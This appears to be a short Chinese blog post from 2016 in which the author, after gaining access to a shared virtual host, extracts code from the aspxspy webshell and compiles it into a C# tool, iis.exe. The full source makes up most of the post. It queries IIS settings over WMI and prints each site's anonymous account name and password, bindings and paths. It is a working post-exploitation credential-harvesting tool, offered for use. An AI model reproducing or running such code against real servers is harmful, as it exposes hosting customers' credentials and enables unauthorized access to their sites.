读取iis配置(包括密码)

作者: admin 分类: 未分类 发布时间: 2016-05-12 12:01

某次遇到一星外虚拟主机
不支持aspx 但找到 可执行目录
用vbs 无法读取 iis 配置
随即从 aspxspy中抠出代码 修改了一下
编译成exe 成功读取。

using System;
using System.Management;
using System.Text.RegularExpressions;

namespace WMISample
{
public class MyWMIQuery
{
public static void Main()
{
try
{

//string u=zcg_GetUserName();
Console.WriteLine("-------------------INFO:---------------------------");
//Console.WriteLine("CurrentUser:" + u);
Console.WriteLine("OSVersion: {0}", Environment.OSVersion.ToString());
Console.WriteLine("---------------------------------------------------");
Bin_WMI_IISSpy();
}
catch (ManagementException e)
{
Console.WriteLine("An error occurred while querying for WMI data: " + e.Message);

}
}

public static void Bin_WMI_IISSpy()
{
Regex re = new Regex(@"W3SVC\/(\d+)\/", RegexOptions.IgnoreCase);
ManagementScope wmiscope = new ManagementScope(@"\\.\root\MicrosoftIISv2");
wmiscope.Connect();
ObjectQuery wmiquery = new ObjectQuery("SELECT * FROM IISWebVirtualDirSetting");
ManagementObjectSearcher wmisearcher = new ManagementObjectSearcher(wmiscope, wmiquery);
ManagementObjectCollection querycoll = wmisearcher.Get();
foreach (ManagementObject objmanage in querycoll)
{
string siteid = re.Matches(objmanage["Name"].ToString())[0].Groups[1].Value;
for (int i = 1; i < 6; i++)
{
try
{
switch (i)
{
case 1:
Console.WriteLine("[id]: "+siteid);
break;
case 2:
Console.WriteLine("[User]: "+objmanage["AnonymousUserName"].ToString());
break;
case 3:
Console.WriteLine("[Pass]: " + objmanage["AnonymousUserPass"].ToString());
break;
case 4:
wmiquery = new ObjectQuery("SELECT * from IISWebServerSetting where Name='W3SVC/" + siteid + "'");
wmisearcher = new ManagementObjectSearcher(wmiscope, wmiquery);
ManagementObjectCollection svrcoll = wmisearcher.Get();
foreach (ManagementObject objsvr in svrcoll)
{
Console.WriteLine("[Site]: " + objsvr["ServerComment"]);

foreach (ManagementBaseObject objbind in (ManagementBaseObject[])objsvr["ServerBindings"])
{
Console.WriteLine(objbind["IP"].ToString() + ":" + objbind["Port"].ToString() + ":" + objbind["Hostname"].ToString());
}
}
break;
case 5:
Console.WriteLine("[Path]: " + objmanage["Path"].ToString());
break;
}

}
catch { continue; }
}
Console.WriteLine("-----------------------------------------------------------------------------");
}
}
}
}

编译 iis.exe

发表评论

标签云